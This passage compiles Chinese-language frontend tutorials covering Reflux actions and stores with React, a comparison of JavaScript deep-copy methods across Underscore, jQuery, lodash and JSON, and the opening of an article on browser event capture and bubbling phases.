var addItem = Reflux.createAction(); addItem();                 #默认调用triggerAsync，相当于addItem.triggerAsync()
var addItem = Reflux.createAction({sync:true});addItem();       #默认调用trigger，相当于addItem.trigger()
var addItem = Reflux.createAction({asyncResult:true});addItem();#默认调用triggerPromise，相当于addItem.triggerPromise()



trigger和triggerAsync区别在于：


triggerAsync = setTimeout(function () {
    trigger()
}, 0);



trigger和triggerPromise区别在于，triggerPromise的返回值是promise


创建Store


Store可以响应Action的行为，并同服务器交互。


监听单个Action


在init方法中添加监听处理


var addItem = Reflux.createAction();

var TodoStore = Reflux.createStore({
    init: function () {
        this.listenTo(addItem, 'addItem');
    },
    addItem: function (model) {
        console.log(model);
    }
});

addItem({name: 'xxx'});



监听多个Action


作死写法


var TodoActions = Reflux.createActions([
    'addItem',
    'deleteItem'
]);

var TodoStore = Reflux.createStore({
    init: function () {
        this.listenTo(TodoActions.addItem, 'addItem');
        this.listenTo(TodoActions.deleteItem, 'deleteItem');
    },
    addItem: function (model) {
        console.log(model);
    },
    deleteItem: function (model) {
        console.log(model);
    }
});

TodoActions.addItem({name: 'xxx'});
TodoActions.deleteItem({name: 'yyy'});



两个action的时候在init里写了两遍监听处理方法，如果有十个甚至多个的话，写起来就像这样的：


var TodoActions = Reflux.createActions([
    'item1',
    'item2',
    'item3',
    'item4',
    'item5',
    'item6',
    'item7',
    'item8',
    'item9',
    'item10'
]);

var TodoStore = Reflux.createStore({
    init: function () {
        this.listenTo(TodoActions.item1, 'item1');
        this.listenTo(TodoActions.item2, 'item2');
        this.listenTo(TodoActions.item3, 'item3');
        this.listenTo(TodoActions.item4, 'item4');
        this.listenTo(TodoActions.item5, 'item5');
        this.listenTo(TodoActions.item6, 'item6');
        this.listenTo(TodoActions.item7, 'item7');
        this.listenTo(TodoActions.item8, 'item8');
        this.listenTo(TodoActions.item9, 'item9');
        this.listenTo(TodoActions.item10, 'item10');

    },
    item1: function (model) {
        console.log(model);
    },
    item2: function (model) {
        console.log(model);
    }
});

TodoActions.item1({name: 'xxx'});
TodoActions.item2({name: 'yyy'});



listenToMany


还好Reflux给我们提供了listenToMany方法，避免重复劳动：


var TodoActions = Reflux.createActions([
    'item1',
    'item2',
    'item3',
    'item4',
    'item5',
    'item6',
    'item7',
    'item8',
    'item9',
    'item10'
]);

var TodoStore = Reflux.createStore({
    init: function () {
        this.listenToMany(TodoActions);
    },
    onItem1: function (model) {
        console.log(model);
    },
    onItem2: function (model) {
        console.log(model);
    }
});

TodoActions.item1({name: 'xxx'});
TodoActions.item2({name: 'yyy'});



处理方法只需让action的标识首字母大写并加上on就可以了。



  标识如果首字母大写就会识别不了，例如将上面的item1改成Itme1。这坑爹的！




listenables


var TodoActions = Reflux.createActions([
    'item1',
    'item2',
    'item3',
    'item4',
    'item5',
    'item6',
    'item7',
    'item8',
    'item9',
    'item10'
]);

var TodoStore = Reflux.createStore({
    listenables: [TodoActions],
    onItem1: function (model) {
        console.log(model);
    },
    onItem2: function (model) {
        console.log(model);
    }
});

TodoActions.item1({name: 'xxx'});
TodoActions.item2({name: 'yyy'});



一般我们写真实应用的时候都应该采用这种写法！！！


Store Methods


拓展Store的公用方法有两种方式。


方式一


Reflux.StoreMethods.print = function (str) {
    console.log(str);
};

var addItem = Reflux.createAction();

var TodoStore = Reflux.createStore({
    init: function () {
        this.listenTo(addItem, 'addItem');
    },
    addItem: function (model) {
        console.log(model);
    }
});

TodoStore.print('rrr');



方式二


var Mixins = {
    print: function (str) {
        console.log(str);
    }
}

var addItem = Reflux.createAction();

var TodoStore = Reflux.createStore({
    mixins: [Mixins],
    init: function () {
        this.listenTo(addItem, 'addItem');
    },
    addItem: function (model) {
        console.log(model);
    }
});

TodoStore.print('rrr');



同组件结合


前面说了，Action、Store和组件这三者是通过事件机制响应变化的，构建组件的时候首先需要监听Store的状态。

先定义Action和Store


var TodoActions = Reflux.createActions([
    'getAll'
]);

var TodoStore = Reflux.createStore({
    items: [1,2,3],
    listenables: [TodoActions],
    onGetAll: function () {
        this.trigger(this.items);
    }
});



基本


var TodoComponent = React.createClass({
    getInitialState: function () {
        return {list: []};
    },
    onStatusChange: function (list) {
        this.setState({list: list});
    },
    componentDidMount: function () {
        this.unsubscribe = TodoStore.listen(this.onStatusChange);
        TodoActions.getAll();
    },
    componentWillUnmount: function () {
        this.unsubscribe();
    },
    render: function () {
        return (
            <div>
                {this.state.list.map(function (item) {
                    return <p>{item}</p>
                })}
            </div>
        )
    }
});    
React.render(<TodoComponent />, document.getElementById('container'));



这里有两点需要注意：



	当组件的生命周期结束时需要解除对Store的监听

	当Store调用trigger时，才会执行onStatusChange函数，所以每次Store更新时，需要手动调用trigger函数



Mixins


var TodoComponent = React.createClass({
    mixins: [Reflux.ListenerMixin],
    getInitialState: function () {
        return {list: []};
    },
    onStatusChange: function (list) {
        this.setState({list: list});
    },
    componentDidMount: function () {
        this.unsubscribe = TodoStore.listen(this.onStatusChange);
        TodoActions.getAll();
    },
    render: function () {
        return (
            <div>
                {this.state.list.map(function (item) {
                    return <p>{item}</p>
                })}
            </div>
        )
    }
});
React.render(<TodoComponent />, document.getElementById('container'));



Reflux.listenTo


var TodoComponent = React.createClass({
    mixins: [Reflux.listenTo(TodoStore,'onStatusChange')],
    getInitialState: function () {
        return {list: []};
    },
    onStatusChange: function (list) {
        this.setState({list: list});
    },
    componentDidMount: function () {
        TodoActions.getAll();
    },
    render: function () {
        return (
            <div>
                {this.state.list.map(function (item) {
                    return <p>{item}</p>
                })}
            </div>
        )
    }
});
React.render(<TodoComponent />, document.getElementById('container'));



Reflux.connect


var TodoComponent = React.createClass({
    mixins: [Reflux.connect(TodoStore,'list')],
    getInitialState: function () {
        return {list: []};
    },
    componentDidMount: function () {
        TodoActions.getAll();
    },
    render: function () {
        return (
            <div>
                {this.state.list.map(function (item) {
                    return <p>{item}</p>
                })}
            </div>
        )
    }
});
React.render(<TodoComponent />, document.getElementById('container'));



数据会自动更新到state的list当中。


Reflux.connectFilter


var TodoComponent = React.createClass({
    mixins: [Reflux.connectFilter(TodoStore, 'list', function (list) {
        return list.filter(function (item) {
            return item > 1;
        });
    })],
    getInitialState: function () {
        return {list: []};
    },
    componentDidMount: function () {
        TodoActions.getAll();
    },
    render: function () {
        return (
            <div>
                {this.state.list.map(function (item) {
                    return <p>{item}</p>
                })}
            </div>
        )
    }
});
React.render(<TodoComponent />, document.getElementById('container'));



对数据加了一层过滤器。



  以上便Component同Store交互的内容，大家可以根据实际情况选择不同的写法。




小结


我这人喜欢拿代码来表述思想。


var TodoActions = Reflux.createActions([
    'getAll',
    'addItem',
    'deleteItem',
    'updateItem'
]);

var TodoStore = Reflux.createStore({
    items: [1, 2, 3],
    listenables: [TodoActions],
    onGetAll: function () {
        $.get('/all', function (data) {
            this.items = data;
            this.trigger(this.items);
        }.bind(this));
    },
    onAddItem: function (model) {
        $.post('/add', model, function (data) {
            this.items.unshift(data);
            this.trigger(this.items);
        }.bind(this));
    },
    onDeleteItem: function (model, index) {
        $.post('/delete', model, function (data) {
            this.items.splice(index, 1);
            this.trigger(this.items);
        }.bind(this));
    },
    onUpdateItem: function (model, index) {
        $.post('/update', model, function (data) {
            this.items[index] = data;
            this.trigger(this.items);
        }.bind(this));
    }
});


var TodoComponent = React.createClass({
    mixins: [Reflux.connect(TodoStore, 'list')],
    getInitialState: function () {
        return {list: []};
    },
    componentDidMount: function () {
        TodoActions.getAll();
    },   
    render: function () {
        return (
            <div>
                {this.state.list.map(function(item){
                    return <TodoItem data={item}/>
                })}
            </div>
        )
    }
});

var TodoItem = React.createClass({
    componentDidMount: function () {
        TodoActions.getAll();
    },
    handleAdd: function (model) {
        TodoActions.addItem(model);
    },
    handleDelete: function (model,index) {
        TodoActions.deleteItem(model,index);
    },
    handleUpdate: function (model) {
        TodoActions.updateItem(model);
    },
    render: function () {
        var item=this.props.data;
        return (
            <div>
                <p>{item.name}</p>
                <p>{item.email}</p>
                <p>/*操作按钮*/</p>
            </div>
        )
    }
});
React.render(<TodoComponent />, document.getElementById('container'));



实际情况远比这复杂，只是提供一个思路供大家参考。


代码链接


github


参考


Reflux


 深入剖析 JavaScript 的深复制

作者：JerryZou

来源： 深入剖析 JavaScript 的深复制



                    

  本文最初发布于我的个人博客：咀嚼之味




一年前我曾写过一篇 Javascript 中的一种深复制实现，当时写这篇文章的时候还比较稚嫩，有很多地方没有考虑仔细。为了不误人子弟，我决定结合 Underscore、lodash 和 jQuery 这些主流的第三方库来重新谈一谈这个问题。


第三方库的实现


讲一句唯心主义的话，放之四海而皆准的方法是不存在的，不同的深复制实现方法和实现粒度有各自的优劣以及各自适合的应用场景，所以本文并不是在教大家改如何实现深复制，而是将一些在 JavaScript 中实现深复制所需要考虑的问题呈献给大家。我们首先从较为简单的 Underscore 开始：


Underscore —— _.clone()


在 Underscore 中有这样一个方法：_.clone()，这个方法实际上是一种浅复制 (shallow-copy)，所有嵌套的对象和数组都是直接复制引用而并没有进行深复制。来看一下例子应该会更加直观：


var x = {
    a: 1,
    b: { z: 0 }
};

var y = _.clone(x);

y === x       // false
y.b === x.b   // true

x.b.z = 100;
y.b.z         // 100



让我们来看一下 Underscore 的源码：


// Create a (shallow-cloned) duplicate of an object.
_.clone = function(obj) {
  if (!_.isObject(obj)) return obj;
  return _.isArray(obj) ? obj.slice() : _.extend({}, obj);
};



如果目标对象是一个数组，则直接调用数组的slice()方法，否则就是用_.extend()方法。想必大家对extend()方法不会陌生，它的作用主要是将从第二个参数开始的所有对象，按键值逐个赋给第一个对象。而在 jQuery 中也有类似的方法。关于 Underscore 中的 _.extend() 方法的实现可以参考 underscore.js #L1006。


Underscore 的 clone() 不能算作深复制，但它至少比直接赋值来得“深”一些，它创建了一个新的对象。另外，你也可以通过以下比较 tricky 的方法来完成单层嵌套的深复制：


var _ = require('underscore');
var a = [{f: 1}, {f:5}, {f:10}];
var b = _.map(a, _.clone);       // <----
b[1].f = 55;
console.log(JSON.stringify(a));  // [{"f":1},{"f":5},{"f":10}]



jQuery —— $.clone() / $.extend()


在 jQuery 中也有这么一个叫 $.clone() 的方法，可是它并不是用于一般的 JS 对象的深复制，而是用于 DOM 对象。这不是这篇文章的重点，所以感兴趣的同学可以参考jQuery的文档。与 Underscore 类似，我们也是可以通过 $.extend() 方法来完成深复制。值得庆幸的是，我们在 jQuery 中可以通过添加一个参数来实现递归extend。调用$.extend(true, {}, ...)就可以实现深复制啦，参考下面的例子：


var x = {
    a: 1,
    b: { f: { g: 1 } },
    c: [ 1, 2, 3 ]
};

var y = $.extend({}, x),          //shallow copy
    z = $.extend(true, {}, x);    //deep copy

y.b.f === x.b.f       // true
z.b.f === x.b.f       // false



在 jQuery的源码 - src/core.js #L121 文件中我们可以找到$.extend()的实现，也是实现得比较简洁，而且不太依赖于 jQuery 的内置函数，稍作修改就能拿出来单独使用。


lodash —— _.clone() / _.cloneDeep()


在lodash中关于复制的方法有两个，分别是_.clone()和_.cloneDeep()。其中_.clone(obj, true)等价于_.cloneDeep(obj)。使用上，lodash和前两者并没有太大的区别，但看了源码会发现，Underscore 的实现只有30行左右，而 jQuery 也不过60多行。可 lodash 中与深复制相关的代码却有上百行，这是什么道理呢？


var $ = require("jquery"),
    _ = require("lodash");

var arr = new Int16Array(5),
    obj = { a: arr },
    obj2;
arr[0] = 5;
arr[1] = 6;

// 1. jQuery
obj2 = $.extend(true, {}, obj);
console.log(obj2.a);                            // [5, 6, 0, 0, 0]
Object.prototype.toString.call(obj2);           // [object Int16Array]
obj2.a[0] = 100;
console.log(obj);                               // [100, 6, 0, 0, 0]

//此处jQuery不能正确处理Int16Array的深复制！！！

// 2. lodash
obj2 = _.cloneDeep(obj);                       
console.log(obj2.a);                            // [5, 6, 0, 0, 0]
Object.prototype.toString.call(arr2);           // [object Int16Array]
obj2.a[0] = 100;
console.log(obj);                               // [5, 6, 0, 0, 0]



通过上面这个例子可以初见端倪，jQuery 无法正确深复制 JSON 对象以外的对象，而我们可以从下面这段代码片段可以看出 lodash 花了大量的代码来实现 ES6 引入的大量新的标准对象。更厉害的是，lodash 针对存在环的对象的处理也是非常出色的。因此相较而言，lodash 在深复制上的行为反馈比前两个库好很多，是更拥抱未来的一个第三方库。


/** `Object#toString` result references. */
var argsTag = '[object Arguments]',
    arrayTag = '[object Array]',
    boolTag = '[object Boolean]',
    dateTag = '[object Date]',
    errorTag = '[object Error]',
    funcTag = '[object Function]',
    mapTag = '[object Map]',
    numberTag = '[object Number]',
    objectTag = '[object Object]',
    regexpTag = '[object RegExp]',
    setTag = '[object Set]',
    stringTag = '[object String]',
    weakMapTag = '[object WeakMap]';

var arrayBufferTag = '[object ArrayBuffer]',
    float32Tag = '[object Float32Array]',
    float64Tag = '[object Float64Array]',
    int8Tag = '[object Int8Array]',
    int16Tag = '[object Int16Array]',
    int32Tag = '[object Int32Array]',
    uint8Tag = '[object Uint8Array]',
    uint8ClampedTag = '[object Uint8ClampedArray]',
    uint16Tag = '[object Uint16Array]',
    uint32Tag = '[object Uint32Array]';



借助 JSON 全局对象


相比于上面介绍的三个库的做法，针对纯 JSON 数据对象的深复制，使用 JSON 全局对象的 parse 和 stringify 方法来实现深复制也算是一个简单讨巧的方法。然而使用这种方法会有一些隐藏的坑，它能正确处理的对象只有 Number, String, Boolean, Array, 扁平对象，即那些能够被 json 直接表示的数据结构。


function jsonClone(obj) {
    return JSON.parse(JSON.stringify(obj));
}
var clone = jsonClone({ a:1 });



拥抱未来的深复制方法


我自己实现了一个深复制的方法，因为用到了Object.create、Object.isPrototypeOf等比较新的方法，所以基本只能在 IE9+ 中使用。而且，我的实现是直接定义在 prototype 上的，很有可能引起大多数的前端同行们的不适。(关于这个我还曾在知乎上提问过：为什么不要直接在Object.prototype上定义方法？）只是实验性质的，大家参考一下就好，改成非 prototype 版本也是很容易的，不过就是要不断地去判断对象的类型了。~


这个实现方法具体可以看我写的一个小玩意儿——Cherry.js，使用方法大概是这样的：


function X() {
    this.x = 5;
    this.arr = [1,2,3];
}
var obj = { d: new Date(), r: /abc/ig, x: new X(), arr: [1,2,3] },
    obj2,
    clone;

obj.x.xx = new X();
obj.arr.testProp = "test";
clone = obj.$clone();                  //<----



首先定义一个辅助函数，用于在预定义对象的 Prototype 上定义方法：


function defineMethods(protoArray, nameToFunc) {
    protoArray.forEach(function(proto) {
        var names = Object.keys(nameToFunc),
            i = 0;

        for (; i < names.length; i++) {
            Object.defineProperty(proto, names[i], {
                enumerable: false,
                configurable: true,
                writable: true,
                value: nameToFunc[names[i]]
            });
        }
    });
}



为了避免和源生方法冲突，我在方法名前加了一个 $ 符号。而这个方法的具体实现很简单，就是递归深复制。其中我需要解释一下两个参数：srcStack和dstStack。它们的主要用途是对存在环的对象进行深复制。比如源对象中的子对象srcStack[7]在深复制以后，对应于dstStack[7]。该实现方法参考了 lodash 的实现。关于递归最重要的就是 Object 和 Array 对象：


/*=====================================*
 * Object.prototype
 * - $clone()
*=====================================*/

defineMethods([ Object.prototype ], {
    '$clone': function (srcStack, dstStack) {
        var obj = Object.create(Object.getPrototypeOf(this)),
            keys = Object.keys(this),
            index,
            prop;

        srcStack = srcStack || [];
        dstStack = dstStack || [];
        srcStack.push(this);
        dstStack.push(obj);

        for (var i = 0; i < keys.length; i++) {
            prop = this[keys[i]];
            if (prop === null || prop === undefined) {
                obj[keys[i]] = prop;
            }
            else if (!prop.$isFunction()) {
                if (prop.$isPlainObject()) {
                    index = srcStack.lastIndexOf(prop);
                    if (index > 0) {
                        obj[keys[i]] = dstStack[index];
                        continue;
                    }
                }
                obj[keys[i]] = prop.$clone(srcStack, dstStack);
            }
        }
        return obj;
    }
});

/*=====================================*
 * Array.prototype
 * - $clone()
*=====================================*/

defineMethods([ Array.prototype ], {
    '$clone': function (srcStack, dstStack) {
        var thisArr = this.valueOf(),
            newArr = [],
            keys = Object.keys(thisArr),
            index,
            element;

        srcStack = srcStack || [];
        dstStack = dstStack || [];
        srcStack.push(this);
        dstStack.push(newArr);

        for (var i = 0; i < keys.length; i++) {
            element = thisArr[keys[i]];
            if (element === undefined || element === null) {
                newArr[keys[i]] = element;
            } else if (!element.$isFunction()) {
                if (element.$isPlainObject()) {
                    index = srcStack.lastIndexOf(element);
                    if (index > 0) {
                        newArr[keys[i]] = dstStack[index];
                        continue;
                    }
                }
            }
            newArr[keys[i]] = element.$clone(srcStack, dstStack);
        }
        return newArr;
    }
});



接下来要针对 Date 和 RegExp 对象的深复制进行一些特殊处理：


/*=====================================*
 * Date.prototype
 * - $clone
 *=====================================*/

defineMethods([ Date.prototype ], {
    '$clone': function() { return new Date(this.valueOf()); }
});

/*=====================================*
 * RegExp.prototype
 * - $clone
 *=====================================*/

defineMethods([ RegExp.prototype ], {
    '$clone': function () {
        var pattern = this.valueOf();
        var flags = '';
        flags += pattern.global ? 'g' : '';
        flags += pattern.ignoreCase ? 'i' : '';
        flags += pattern.multiline ? 'm' : '';
        return new RegExp(pattern.source, flags);
    }
});



接下来就是 Number, Boolean 和 String 的 $clone 方法，虽然很简单，但这也是必不可少的。这样就能防止像单个字符串这样的对象错误地去调用 Object.prototype.$clone。


/*=====================================*
 * Number / Boolean / String.prototype
 * - $clone()
 *=====================================*/

defineMethods([
    Number.prototype,
    Boolean.prototype,
    String.prototype
], {
    '$clone': function() { return this.valueOf(); }
});



比较各个深复制方法




	特性
  	jQuery
  	lodash
  	JSON.parse
  	所谓“拥抱未来的深复制实现”





	浏览器兼容性
  	IE6+ (1.x) & IE9+ (2.x)
  	IE6+
  	IE8+
  	IE9+



	能够深复制存在环的对象
  	抛出异常 RangeError: Maximum call stack size exceeded
  	支持
  	抛出异常 TypeError: Converting circular structure to JSON
  	支持



	对 Date, RegExp 的深复制支持
  	×
  	支持
  	×
  	支持



	对 ES6 新引入的标准对象的深复制支持
  	×
  	支持
  	×
  	×



	复制数组的属性
  	×
  	仅支持RegExp#exec返回的数组结果
  	×
  	支持



	是否保留非源生对象的类型
  	×
  	×
  	×
  	支持



	复制不可枚举元素
  	×
  	×
  	×
  	×



	复制函数
  	×
  	×
  	×
  	×





执行效率


为了测试各种深复制方法的执行效率，我使用了如下的测试用例：


var x = {};
for (var i = 0; i < 1000; i++) {
    x[i] = {};
    for (var j = 0; j < 1000; j++) {
        x[i][j] = Math.random();
    }
}

var start = Date.now();
var y = clone(x);
console.log(Date.now() - start);



下面来看看各个实现方法的具体效率如何，我所使用的浏览器是 Mac 上的 Chrome 43.0.2357.81 (64-bit) 版本，可以看出来在3次的实验中，我所实现的方法比 lodash 稍逊一筹，但比jQuery的效率也会高一些。希望这篇文章对你们有帮助~




	深复制方法
  	jQuery
  	lodash
  	JSON.parse
  	所谓“拥抱未来的深复制实现”





	Test 1
  	475
  	341
  	630
  	320



	Test 2
  	505
  	270
  	690
  	345



	Test 3
  	456
  	268
  	650
  	332



	Average
  	478.7
  	293
  	656.7
  	332.3





参考资料



	Underscore - clone

	Stackoverflow - How do you clone an array of objects using underscore?

	jQuery API

	lodash docs #clone

	MDN - JSON.stringify




 浏览器事件模型中捕获阶段、目标阶段、冒泡阶段实例详解

作者：本期节目

来源： 浏览器事件模型中捕获阶段、目标阶段、冒泡阶段实例详解



                    
如果对事件大概了解，可能知道有事件冒泡这回事，但是冒泡、捕获、传播这些机制可能还没有深入的研究实践一下，我抽时间整理了一下相关的知识。


	本文主要对事件机制一些细节进行讨论，过于基础的事件绑定知识方法没有介绍。


	特别少的篇幅关注浏览器兼容问题，毕竟原理了解了，兼容性问题可以自己想办法解决了。




在浏览器相对标准化之前，各个浏览器厂商都是自己实现的事件模型，有的用了冒泡，有的用了捕获，W3C为了兼顾之前的标准，将事件发生定义成如下三个阶段：

1、捕获阶段
2、目标阶段
3、冒泡阶段



只是硬生生的说事件机制到底是怎么回事不容易理解，用一个demo为主线说明事件的原理比较容易理解：

HTML

<body>
    <div id="wrapDiv">wrapDiv
        <p id="innerP">innerP
            <span id="textSpan">textSpan</span>
        </p>
    </div>
</body>

CSS

<style>
    #wrapDiv, #innerP, #textSpan{
        margin: 5px;
        padding: 5px;
        box-sizing: border-box;
        cursor: default;
    }
    #wrapDiv{
        width: 300px;
        height: 300px;
        border: indianred 3px solid;
    }
    #innerP{
        width: 200px;
        height: 200px;
        border: hotpink 3px solid;
    }
    #textSpan{
        display: block;
        width: 100px;
        height: 100px;
        border: orange 3px solid;
    }
</style>

JavaScript

<script>
    var wrapDiv = document.getElementById("wrapDiv");
    var innerP = document.getElementById("innerP");
    var textSpan = document.getElementById("textSpan");

    // 捕获阶段绑定事件
    window.addEventListener("click", function(e){
        console.log("window 捕获", e.target.nodeName, e.currentTarget.nodeName);
    }, true);

    document.addEventListener("click", function(e){
        console.log("document 捕获", e.target.nodeName, e.currentTarget.nodeName);
    }, true);

    document.documentElement.addEventListener("click", function(e){
        console.log("documentElement 捕获", e.target.nodeName, e.currentTarget.nodeName);
    }, true);

    document.body.addEventListener("click", function(e){
        console.log("body 捕获", e.target.nodeName, e.currentTarget.nodeName);
    }, true);

    wrapDiv.addEventListener("click", function(e){
        console.log("wrapDiv 捕获", e.target.nodeName, e.currentTarget.nodeName);
    }, true);

    innerP.addEventListener("click", function(e){
        console.log("innerP 捕获", e.target.nodeName, e.currentTarget.nodeName);
    }, true);

    textSpan.addEventListener("click", function(e){
        console.log("textSpan 捕获", e.target.nodeName, e.currentTarget.nodeName);
    }, true);

    // 冒泡阶段绑定的事件
    window.addEventListener("click", function(e){
        console.log("window 冒泡", e.target.nodeName, e.currentTarget.nodeName);
    }, false);

    document.addEventListener("click", function(e){
        console.log("document 冒泡", e.target.nodeName, e.currentTarget.nodeName);
    }, false);

    document.documentElement.addEventListener("click", function(e){
        console.log("documentElement 冒泡", e.target.nodeName, e.currentTarget.nodeName);
    }, false);

    document.body.addEventListener("click", function(e){
        console.log("body 冒泡", e.target.nodeName, e.currentTarget.nodeName);
    }, false);

    wrapDiv.addEventListener("click", function(e){
        console.log("wrapDiv 冒泡", e.target.nodeName, e.currentTarget.nodeName);
    }, false);

    innerP.addEventListener("click", function(e){
        console.log("innerP 冒泡", e.target.nodeName, e.currentTarget.nodeName);
    }, false);

    textSpan.addEventListener("click", function(e){
        console.log("textSpan 冒泡", e.target.nodeName, e.currentTarget.nodeName);
    }, false);
</script>

demo页面效果图


这个时候，如果点击一下textSpan这个元素，控制台会打印出这样的内容：


当按下鼠标点击后，到底发生了什么的，现在我基于上面的例子来说一下：

capture=>start: 捕获阶段开始
window=>operation: window
document=>operation: document
documentElement=>operation: documentElement
body=>operation: body
wrapDiv=>operation: wrapDiv
innerP=>operation: innerP
target=>start: 捕获阶段结束，目标阶段开始
textSpan=>operation: textSpan
textSpan2=>operation: textSpan
bubble=>start: 目标阶段结束，冒泡阶段开始
innerP2=>operation: innerP
wrapDiv2=>operation: wrapDiv
body2=>operation: body
documentElement2=>operation: documentElement
document2=>operation: document
window2=>operation: window
bubbleend=>start: 冒泡阶段结束
capture->window->document->documentElement->body->wrapDiv->innerP->target->textSpan->textSpan2->bubble->innerP2->wrapDiv2->body2->documentElement2->document2->window2->bubbleend

从上面所画的事件传播的过程能够看出来，当点击鼠标后，会先发生事件的捕获


	捕获阶段：首先window会获捕获到事件，之后document、documentElement、body会捕获到，再之后就是在body中DOM元素一层一层的捕获到事件，有wrapDiv、innerP。


	目标阶段：真正点击的元素textSpan的事件发生了两次，因为在上面的JavaScript代码中，textSapn既在捕获阶段绑定了事件，又在冒泡阶段绑定了事件，所以发生了两次。但是这里有一点是需要注意，在目标阶段并不一定先发生在捕获阶段所绑定的事件，而是先绑定的事件发生，一会会解释一下。


	冒泡阶段：会和捕获阶段相反的步骤将事件一步一步的冒泡到window






那可能有一个疑问，我们不用addEventListener绑定的事件会发生在哪个阶段呢，我们来一个测试，顺便再演示一下我在上面的目标阶段所说的目标阶段并不一定先发生捕获阶段所绑定的事件是怎么一回事。
我们重新改一下JavaScript代码：

<script>
    var wrapDiv = document.getElementById("wrapDiv");
    var innerP = document.getElementById("innerP");
    var textSpan = document.getElementById("textSpan");

    // 测试直接绑定的事件到底发生在哪个阶段
    wrapDiv.onclick = function(){
        console.log("wrapDiv onclick 测试直接绑定的事件到底发生在哪个阶段")
    };

    // 捕获阶段绑定事件
    window.addEventListener("click", function(e){
        console.log("window 捕获", e.target.nodeName, e.currentTarget.nodeName);
    }, true);

    document.addEventListener("click", function(e){
        console.log("document 捕获", e.target.nodeName, e.currentTarget.nodeName);
    }, true);

    document.documentElement.addEventListener("click", function(e){
        console.log("documentElement 捕获", e.target.nodeName, e.currentTarget.nodeName);
    }, true);

    document.body.addEventListener("click", function(e){
        console.log("body 捕获", e.target.nodeName, e.currentTarget.nodeName);
    }, true);

    wrapDiv.addEventListener("click", function(e){
        console.log("wrapDiv 捕获", e.target.nodeName, e.currentTarget.nodeName);
    }, true);

    innerP.addEventListener("click", function(e){
        console.log("innerP 捕获", e.target.nodeName, e.currentTarget.nodeName);
    }, true);

    textSpan.addEventListener("click", function(){
        console.log("textSpan 冒泡 在捕获之前绑定的")
    }, false);

    textSpan.onclick = function(){
        console.log("textSpan onclick")
    };

    textSpan.addEventListener("click", function(e){
        console.log("textSpan 捕获", e.target.nodeName, e.currentTarget.nodeName);
    }, true);

    // 冒泡阶段绑定的事件
    window.addEventListener("click", function(e){
        console.log("window 冒泡", e.target.nodeName, e.currentTarget.nodeName);
    }, false);

    document.addEventListener("click", function(e){
        console.log("document 冒泡", e.target.nodeName, e.currentTarget.nodeName);
    }, false);

    document.documentElement.addEventListener("click", function(e){
        console.log("documentElement 冒泡", e.target.nodeName, e.currentTarget.nodeName);
    }, false);

    document.body.addEventListener("click", function(e){
        console.log("body 冒泡", e.target.nodeName, e.currentTarget.nodeName);
    }, false);

    wrapDiv.addEventListener("click", function(e){
        console.log("wrapDiv 冒泡", e.target.nodeName, e.currentTarget.nodeName);
    }, false);

    innerP.addEventListener("click", function(e){
        console.log("innerP 冒泡", e.target.nodeName, e.currentTarget.nodeName);
    }, false);

    textSpan.addEventListener("click", function(e){
        console.log("textSpan 冒泡", e.target.nodeName, e.currentTarget.nodeName);
    }, false);
</script>

再看控制台的结果：



	图中第一个被圈出来的解释：textSpan是被点击的元素，也就是目标元素，所有在textSpan上绑定的事件都会发生在目标阶段，在绑定捕获代码之前写了绑定的冒泡阶段的代码，所以在目标元素上就不会遵守先发生捕获后发生冒泡这一规则，而是先绑定的事件先发生。


	图中第二个被圈出来的解释：由于wrapDiv不是目标元素，所以它上面绑定的事件会遵守先发生捕获后发生冒泡的规则。所以很明显用onclick直接绑定的事件发生在了冒泡阶段。






target和currentTarget

上面的代码中写了e.target和e.currentTarget，还没有说是什么，target和currentTarget都是event上面的属性，target是真正发生事件的DOM元素，而currentTarget是当前事件发生在哪个DOM元素上。
可以结合控制台打印出来的信息理解下，目标阶段也就是 target == currentTarget的时候。我没有打印它们两个因为太长了，所以打印了它们的nodeName，但是由于window没有nodeName这个属性，所以是undefined。

阻止事件传播

说到事件，一定要说的是如何阻止事件传播。总是有很多帖子说e.stopPropagation()是阻止事件的冒泡的传播，实际上这么说并不是很准确，因为它不仅可以阻止事件在冒泡阶段的传播，还能阻止事件在捕获阶段的传播。
来看一下我们再改一下的JavaScript代码：

<script>
    var wrapDiv = document.getElementById("wrapDiv");
    var innerP = document.getElementById("innerP");
    var textSpan = document.getElementById("textSpan");

    // 测试直接绑定的事件到底发生在哪个阶段
    wrapDiv.onclick = function(){
        console.log("wrapDiv onclick 测试直接绑定的事件到底发生在哪个阶段")
    };

    // 捕获阶段绑定事件
    window.addEventListener("click", function(e){
        console.log("window 捕获", e.target.nodeName, e.currentTarget.nodeName);
    }, true);

    document.addEventListener("click", function(e){
        console.log("document 捕获", e.target.nodeName, e.currentTarget.nodeName);
    }, true);

    document.documentElement.addEventListener("click", function(e){
        console.log("documentElement 捕获", e.target.nodeName, e.currentTarget.nodeName);
    }, true);

    document.body.addEventListener("click", function(e){
        console.log("body 捕获", e.target.nodeName, e.currentTarget.nodeName);
    }, true);

    wrapDiv.addEventListener("click", function(e){
        console.log("wrapDiv 捕获", e.target.nodeName, e.currentTarget.nodeName);
        // 在捕获阶段阻止事件的传播
        e.stopPropagation();
    }, true);

    innerP.addEventListener("click", function(e){
        console.log("innerP 捕获", e.target.nodeName, e.currentTarget.nodeName);
    }, true);

    textSpan.addEventListener("click", function(){
        console.log("textSpan 冒泡 在捕获之前绑定的")
    }, false);

    textSpan.onclick = function(){
        console.log("textSpan onclick")
    };

    textSpan.addEventListener("click", function(e){
        console.log("textSpan 捕获", e.target.nodeName, e.currentTarget.nodeName);
    }, true);

    // 冒泡阶段绑定的事件
    window.addEventListener("click", function(e){
        console.log("window 冒泡", e.target.nodeName, e.currentTarget.nodeName);
    }, false);

    document.addEventListener("click", function(e){
        console.log("document 冒泡", e.target.nodeName, e.currentTarget.nodeName);
    }, false);

    document.documentElement.addEventListener("click", function(e){
        console.log("documentElement 冒泡", e.target.nodeName, e.currentTarget.nodeName);
    }, false);

    document.body.addEventListener("click", function(e){
        console.log("body 冒泡", e.target.nodeName, e.currentTarget.nodeName);
    }, false);

    wrapDiv.addEventListener("click", function(e){
        console.log("wrapDiv 冒泡", e.target.nodeName, e.currentTarget.nodeName);
    }, false);

    innerP.addEventListener("click", function(e){
        console.log("innerP 冒泡", e.target.nodeName, e.currentTarget.nodeName);
    }, false);

    textSpan.addEventListener("click", function(e){
        console.log("textSpan 冒泡", e.target.nodeName, e.currentTarget.nodeName);
    }, false);
</script>

我们在事件的捕获阶段阻止了传播，看一下控制台的结果：

